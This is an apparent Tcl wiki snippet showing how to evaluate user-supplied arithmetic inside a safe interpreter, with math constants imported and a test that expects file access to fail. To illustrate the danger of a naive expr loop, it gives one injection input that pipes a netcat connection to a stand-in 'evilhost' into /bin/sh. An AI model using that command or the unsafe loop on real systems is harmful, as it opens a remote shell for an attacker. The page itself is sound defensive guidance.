aspect: Sometimes it seems like it would be useful to expr arbitrary user input, along the lines of:
while {[gets stdin ex]} { puts [expr $ex] }
.. this is great until the user enters some arbitrary command using [ characters:
[exec nc evilhost evilport | /bin/sh]
To get around this we can use a safe interpreter easily enough. There are a few little things we'd like to do to make the environment more useful, like importing constants from ::math::constants .. further improvements are welcome!
namespace eval expr { variable slave proc init {} { variable slave set slave [interp create -safe] $slave alias expr expr package require math::constants foreach name [info vars ::math::constants::*] { set val [set $name] set name [namespace tail $name] if {$name == "constants"} continue $slave eval set $name $val } } init proc expr {arg} { variable slave $slave eval expr $arg } } proc test {} { puts [::expr::expr 2+2] puts [::expr::expr atan(100)] puts [::expr::expr pow(\$e,2)] puts [::expr::expr {[open foo]}] ;# this should error! } proc loop {} { while {[gets stdin ex]} { puts [::expr::expr $ex] } }
Some things that would be nice to add: